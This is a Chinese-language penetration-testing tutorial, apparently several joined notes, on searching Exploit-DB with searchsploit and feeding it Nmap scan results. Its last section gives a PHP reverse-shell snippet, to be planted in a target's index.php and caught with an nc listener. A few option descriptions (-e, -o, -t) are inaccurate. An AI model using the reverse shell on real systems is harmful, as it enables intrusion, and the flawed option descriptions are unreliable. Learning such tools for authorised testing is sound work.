### searchsploit 与 Nmap 联合使用指南

searchsploit 可以与 Nmap 工具结合，快速从 Nmap 的扫描结果中提取可能的漏洞利用信息。Nmap 扫描到的服务和版本信息会被传递给 `searchsploit`，从而定位相关漏洞。

---

#### 使用步骤

1. 使用 Nmap 扫描目标
使用 Nmap 的 -sV 选项进行服务版本检测，并将结果保存为 XML 格式：

   nmap -sV -oX nmap_results.xml <target>
   

示例：

   nmap -sV -oX nmap_results.xml 192.168.1.1
   

2. 使用 `searchsploit` 分析 Nmap 扫描结果
通过 --nmap 选项，将 Nmap 的 XML 文件输入到 `searchsploit`：

   searchsploit --nmap nmap_results.xml
   

示例输出：

   Services matching "Apache 2.4.29":
     - Apache HTTP Server 2.4.29 - Path Traversal
       https://www.exploit-db.com/exploits/12345
   

3. 进一步验证漏洞
确认漏洞的适用性，分析是否符合目标系统的实际配置。

---

#### 示例场景

假设我们扫描一个目标主机：

nmap -sV -oX scan.xml 192.168.1.10

扫描结果存储在 `scan.xml`，然后运行：

searchsploit --nmap scan.xml

#### 结合 -v 查看更多详细信息
如果需要更详细的输出，可以加上 -v 参数：

searchsploit --nmap scan.xml -v

---

#### 注意事项
1. 服务版本准确性
Nmap 的版本检测可能会不准确，建议手动确认目标服务版本。

2. 结果筛选
searchsploit 的输出可能包含一些与目标不相关的漏洞，需手动检查。

3. 不依赖漏洞数据库的完整性
searchsploit 使用的是本地 Exploit-DB 数据库，可能不是最新的。建议定期更新：

   searchsploit -u
   

---

#### 整体流程
1. 使用 Nmap 检测服务和版本信息。
2. 将扫描结果保存为 XML 文件。
3. 使用 searchsploit --nmap 解析结果，提取可能的漏洞利用。

---

#### 关键词
#searchsploit #Nmap #漏洞扫描 #渗透测试 #Exploit-DB

### searchsploit 命令使用说明

searchsploit 是 Exploit-DB 提供的命令行工具，用于搜索和管理本地存储的漏洞利用代码。

#### 用法

searchsploit [选项] 关键词1 [关键词2] ... [关键词N]

#### 示例

# 搜索包含关键词 "afd", "windows", "local" 的漏洞利用
searchsploit afd windows local

# 搜索指定漏洞编号 39446 的路径
searchsploit -p 39446

# 搜索带有严格匹配 "Apache Struts 2.0.0" 的结果，并排除 PoC 和 DOS 的内容
searchsploit -s "Apache Struts 2.0.0" --exclude="(PoC)|/dos/"

# 按 CVE 号进行搜索
searchsploit --cve 2021-44228

---

#### 选项说明
##### 搜索选项：
1. `-c, --case`
执行区分大小写的搜索（默认情况下不区分大小写）。

2. `-e, --exact`
精确匹配搜索内容和顺序，且仅匹配漏洞标题（隐含 -t 选项）。

3. `-s, --strict`
严格搜索输入值，禁用模糊搜索（不会匹配版本范围）。

4. `-t, --title`
仅搜索漏洞标题（默认同时搜索标题和文件路径）。

5. `--exclude="term"`
从结果中排除指定值（可用 | 分隔多个值）。

6. `--cve`
根据 CVE 编号进行搜索。

##### 输出选项：
1. `-j, --json`
以 JSON 格式显示搜索结果。

2. `-p, --path`
显示漏洞利用的完整路径，并尝试将路径复制到剪贴板。

3. `-v, --verbose`
提供更详细的输出信息。

4. `-w, --www`
显示 Exploit-DB.com 的在线链接，而不是本地路径。

5. `--disable-colour`
禁用搜索结果中的高亮显示。

##### 非搜索选项：
1. `-m, --mirror`
将指定漏洞编号的漏洞利用代码复制到当前目录。

2. `-x, --examine`
使用 $PAGER 查看指定漏洞利用的内容。

3. `-u, --update`
更新本地 Exploit-DB 数据库。

##### 自动化选项：
1. `--nmap`
解析 Nmap 的 XML 输出文件，匹配服务版本中可能的漏洞利用。

---

#### 输出示例
1. 常规搜索

   kali@kali:~$ searchsploit afd windows local
   ---------------------------------------------------------------------------------------- -----------------------------------
   Exploit Title                                                                          |  Path
   ---------------------------------------------------------------------------------------- -----------------------------------
   Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046)               | windows_x86/local/40564.c
   ...
   

2. 显示漏洞路径

   kali@kali:~$ searchsploit -p 39446
   Exploit: Microsoft Windows 7 (x86) - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040)
      URL: https://www.exploit-db.com/exploits/39446
     Path: /path/to/exploitdb/exploits/windows_x86/local/39446.py
   Copied EDB-ID #39446's path to the clipboard
   

---

#### 关键词
#searchsploit #Exploit-DB #漏洞利用搜索 #渗透测试工具

### searchsploit 使用方法

searchsploit 是一个非常强大的工具，用于快速在 Exploit-DB 中搜索已知漏洞和利用代码。以下是它的基本使用方法：

#### 1. 基本搜索
你可以通过关键字或软件名称来搜索漏洞：

searchsploit <keyword>

例如，要搜索与 apache 相关的漏洞：

searchsploit apache

#### 2. 搜索并显示详细信息
使用 -v 选项可以显示更详细的漏洞信息：

searchsploit -v <keyword>

#### 3. 搜索特定漏洞类型
可以根据漏洞类型、平台等过滤搜索结果。例如，查找与 Linux 相关的漏洞：

searchsploit -t linux <keyword>

#### 4. 使用正则表达式
searchsploit 支持正则表达式，用于进行更灵活的搜索：

searchsploit -e '<regex>'

#### 5. 更新 Exploit-DB 数据库
使用 -u 选项可以更新本地 Exploit-DB 数据库：

searchsploit -u

#### 6. 输出格式
可以通过 -o 选项指定输出文件，将搜索结果保存到文件：

searchsploit -o result.txt <keyword>

#### 7. 查找 Exploit 文件的路径
每个漏洞都有一个文件路径，可以通过以下命令直接查找漏洞文件：

searchsploit -p <exploit_id>

例如，要查看 ID 为 12345 的漏洞详细信息：

searchsploit -p 12345

### 总结

searchsploit 是一个用于从 Exploit-DB 数据库中快速搜索漏洞和利用代码的命令行工具，支持关键字搜索、类型过滤、正则表达式等功能。

### 关键词
#searchsploit #漏洞 #ExploitDB #渗透测试 #命令行

### searchsploit 的用法与漏洞利用

searchsploit 是 Exploit-DB 提供的一个命令行工具，它用于搜索并获取漏洞利用脚本。用户可以通过它快速找到与目标系统或软件相关的漏洞利用代码，并使用这些漏洞进行测试。以下是如何使用 searchsploit 搜索和利用漏洞的详细步骤。

---

## 一、`searchsploit` 搜索漏洞

### 1. 基本搜索
searchsploit 通过关键词来搜索漏洞利用脚本。例如，如果你想查找与 Apache 相关的漏洞，可以使用如下命令：

searchsploit apache

这会列出所有与 Apache 相关的漏洞利用脚本。每个结果都会显示漏洞的描述和对应的路径。

### 2. 精确搜索
使用 -e 参数可以进行精确匹配，确保搜索的词完全符合要求。例如，如果你要查找与某个特定版本的 Apache 相关的漏洞，可以使用：

searchsploit -e "Apache 2.4.1"

此命令会仅返回与 "Apache 2.4.1" 精确匹配的漏洞。

### 3. 严格搜索
使用 -s 参数进行严格匹配，确保版本号等参数完全匹配。例如，查找 Apache 2.4 的漏洞：

searchsploit -s apache 2.4

这会避免返回不完全匹配的结果。

### 4. 搜索特定文件路径
如果你只关心漏洞的标题，而不在意路径信息，可以使用 -t 参数只搜索标题：

searchsploit -t apache

### 5. 排除特定搜索结果
使用 --exclude="term" 参数可以排除特定词汇的结果。假设你要查找与 Apache 相关的漏洞，但不想看到 DDoS 攻击相关的漏洞，可以使用：

searchsploit apache --exclude="dos"

### 6. 搜索 CVE
如果你已经知道漏洞的 CVE 编号，可以直接用 --cve 参数搜索。例如，搜索 CVE-2021-44228 漏洞：

searchsploit --cve 2021-44228

### 7. 显示 JSON 格式
如果你需要以机器可解析的格式显示搜索结果，可以使用 -j 参数：

searchsploit -j apache

---

## 二、下载和查看漏洞利用

### 1. 下载漏洞利用脚本
searchsploit 允许直接下载漏洞利用脚本。使用 -m 参数来下载漏洞脚本。例如，下载漏洞编号为 39446 的脚本：

searchsploit -m 39446

该命令会将漏洞利用脚本复制到当前目录。

### 2. 查看漏洞利用脚本
如果你只是想查看漏洞利用脚本的内容，可以使用 -x 参数：

searchsploit -x 39446

这会直接显示该漏洞利用脚本的内容。

---

## 三、漏洞利用的实际步骤

### 1. 确定漏洞利用
首先，使用 searchsploit 查找与目标系统相关的漏洞。例如，如果目标是 Apache 服务器，你可以搜索与该版本 Apache 相关的漏洞：

searchsploit apache 2.4.41

### 2. 查看漏洞利用细节
找到漏洞利用脚本后，使用 -x 命令查看它的详细内容。确认漏洞的利用方式、条件以及是否需要特定的配置或环境：

searchsploit -x 12345

### 3. 下载漏洞利用脚本
在确认漏洞利用可行后，可以使用 -m 下载漏洞利用脚本到本地：

searchsploit -m 12345

### 4. 修改漏洞利用脚本
有时，漏洞利用脚本可能需要根据目标环境做一些修改。例如，调整 IP 地址、端口、路径等。编辑下载下来的脚本，确保它与你的目标匹配。

### 5. 执行漏洞利用
修改完漏洞利用脚本后，你可以在目标系统上执行它。例如，如果是远程代码执行漏洞，执行脚本可能会导致目标服务器反弹一个 shell。

示例：利用命令注入漏洞反弹 shell

<?php
$sock=fsockopen("192.168.0.100",4444); exec("/bin/sh <&3 >&3 2>&3");
?>

将这个代码植入目标服务器的网页（例如，`index.php`），然后监听本地端口 4444，等待连接：

nc -lvp 4444

一旦目标执行了漏洞利用，你将收到反弹的 shell。

---

## 四、与其他工具结合使用

### 1. 与 Nmap 集成
如果你使用 Nmap 扫描目标并生成 XML 输出，你可以将该 XML 文件作为输入传递给 `searchsploit`，自动查找与服务匹配的漏洞：

nmap -sV -oX scan_results.xml target_ip
searchsploit --nmap scan_results.xml

### 2. 更新 Exploit-DB 数据库
`searchsploit` 需要保持本地数据库的最新状态，可以通过 --update 命令更新漏洞库：

searchsploit --update

---

## 五、总结

searchsploit 是一个强大的工具，能帮助渗透测试人员快速查找并利用漏洞。它支持通过关键词、精确匹配、严格搜索等多种方式来筛选漏洞利用脚本，支持下载、查看漏洞脚本，并与其他工具（如 Nmap）结合使用，进一步提高了效率。利用 searchsploit 可以极大地提升漏洞挖掘和利用的工作效率，是渗透测试中不可或缺的工具之一。

### 常用命令总结：

- **搜索关键词**：`searchsploit apache`
- **精确搜索**：`searchsploit -e "Apache 2.4.1"`
- **查看漏洞脚本**：`searchsploit -x 12345`
- **下载漏洞脚本**：`searchsploit -m 12345`
- **搜索 CVE 漏洞**：`searchsploit --cve 2021-44228`
- **与 Nmap 集成**：`searchsploit --nmap scan_results.xml`

#searchsploit